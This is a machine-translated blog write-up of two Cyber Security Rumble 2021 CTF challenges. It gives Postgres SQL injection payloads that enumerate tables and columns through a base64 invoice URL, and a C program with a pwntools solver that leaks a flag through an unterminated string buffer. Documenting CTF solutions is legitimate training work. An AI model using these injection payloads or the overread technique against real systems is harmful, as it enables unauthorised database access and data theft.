This page has been machine-translated from the original page.
I participated in Cyber Security Rumble 2021 CTF, which began on 2021/11/26.
I will write up a few challenges.
Table of Contents
Stonks Street Journal (Web)
Accessing the website brings you to a members-only news site.
When you register, the user registration itself does not complete, but you are redirected to an Invoice page where you can review the submitted information.
This page is accessed via a URL like the following, and it is managed by a path that Base64-encodes the registered user and date, such as username-2021-11-27.
http://ssj.rumble.host/legacy_invoice_system/dGVzdHVzZXItMjAyMS0xMS0yNw==
Here, I tried changing either the username part or the date part into an arbitrary string that did not fit the format. That caused an SQL error, which showed that an SQL injection vulnerability existed.
Using SQL injection to retrieve other users’ information
I started by exploring information about other users in the table.
It looked like UNION-based injection would work for reconnaissance.
As for the name of the table that manages users, I was able to identify it as news_subscriber by using commands such as WHERE and HAVING to trigger error messages.
Rakete-2021-11-26' UNION SELECT id,username,null,pensi,email,credit_card,null FROM news_subscriber WHERE id=10--Therefore, with a command like the one above, you can inspect user pages one by one by specifying an ID or username.
Unfortunately, even after exploring the entire news_subscriber table, there were no users that seemed likely to lead to the flag.
Using SQL injection to explore other tables
Next, I decided to look for tables other than news_subscriber.
Rakete-2021-11-26' UNION SELECT id,version(),null,null,null,null,null FROM news_subscriberAs shown above, using the version() command let me identify the database as Postgres.
Since the database is Postgres, table information can be referenced from the tablename column in pg_tables.
There are several ways to retrieve it, but if you want to enumerate them in order from the beginning, the LIMIT 1 OFFSET n syntax is convenient.
LIKE is also useful when you want to search for tables containing a specific string.
# 6番目のテーブルをSQLインジェクションで取得
Rakete-2021-11-26';SELECT null,tablename,null,null,null,null,null FROM pg_tables LIMIT 1 OFFSET 6;--
# テーブル名にnameが含まれるテーブルをSQLインジェクションで取得
Rakete-2021-11-26';SELECT null,tablename,null,null,null,null,null FROM pg_tables WHERE tablename LIKE '%name%';--Exploring tables in this way revealed one called news_article.
Using SQL injection to explore column information
It looked like the flag was probably stored in the news_article table.
So I moved on to exploring the columns of the news_article table.
In Postgres, information about the columns of a specific table can be filtered in the form information_schema.columns WHERE table_name='news_article'.
After that, just as when retrieving table information earlier, you can use LIMIT and LIKE to enumerate the column information, then use UNION injection to retrieve the column data and obtain the flag.
Rakete-2021-11-26';SELECT null,column_name,null,null,null,null,null FROM information_schema.columns WHERE table_name='news_article' AND column_name LIMIT 1 OFFSET 3;--
Rakete-2021-11-26';SELECT null,column_name,null,null,null,null,null FROM information_schema.columns WHERE table_name='news_article' AND column_name LIKE '%te%'--Using this method, I was able to recover the flag information from the title on the Invoice page, as shown below.
Reference: Stonks Street Journal - CTFs
Flag Checker, Baby (Pwn)
You are given a binary and its source code.
Reading the source code shows the following behavior.
- The input string and FLAG are passed to the
checkfunction. - If the input string is larger than 32 bytes (the size of
guess), the function is not called. - The input string is stored in the
guessvariable. - FLAG is stored in the
flagvariable. - The
flagandguessvariables are compared withstrcmp; if they match, the flag is displayed, and if they do not match, the value ofguessis displayed. - Considering the memory layout of the local variables,
flagis placed contiguously afterguess. - Since
guesscan accept only up to 32 bytes, by entering 32 bytes that contain no null character, the concatenated contents ofguessandflagare printed by the lineprintf("Wrong flag: %s\n", guess);.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void check(const char *input, const char *secret_flag) {
char guess[32], flag[64];
if (strlen(input) > sizeof(guess)) {
puts("HACKER!");
return;
}
strncpy(guess, input, sizeof(guess));
strncpy(flag, secret_flag, sizeof(flag));
if (!strcmp(guess, flag)) {
printf("Well done! You got it: %s\n", flag);
}
else {
printf("Wrong flag: %s\n", guess);
}
}
int main(int argc, char** argv) {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
char *secret_flag = getenv("FLAG");
if (!secret_flag) {
puts("Flag not found, contact challenge authors.");
return 1;
}
char input[128];
printf("Enter the flag: ");
fgets(input, sizeof(input), stdin);
check(input, secret_flag);
return 0;
}This solver can recover the FLAG.
from pwn import *
import binascii
import time
elf = ELF("./chall")
context.binary = elf
payload = b"\x41"*31
# Local
p = process("./chall")
# p = remote("challs.rumble.host", 53921)
r = p.recv()
p.sendline(payload)
p.interactive()Reference: CTF-writeups/Pwn - Flag Checker, Baby.md at main · aly-ab/CTF-writeups
Summary
There was a Linux Game challenge in Rev that I really wanted to solve somehow, but in the end I could not.
I still have no idea because I cannot find a writeup, but if I do find one, I think I will update this article.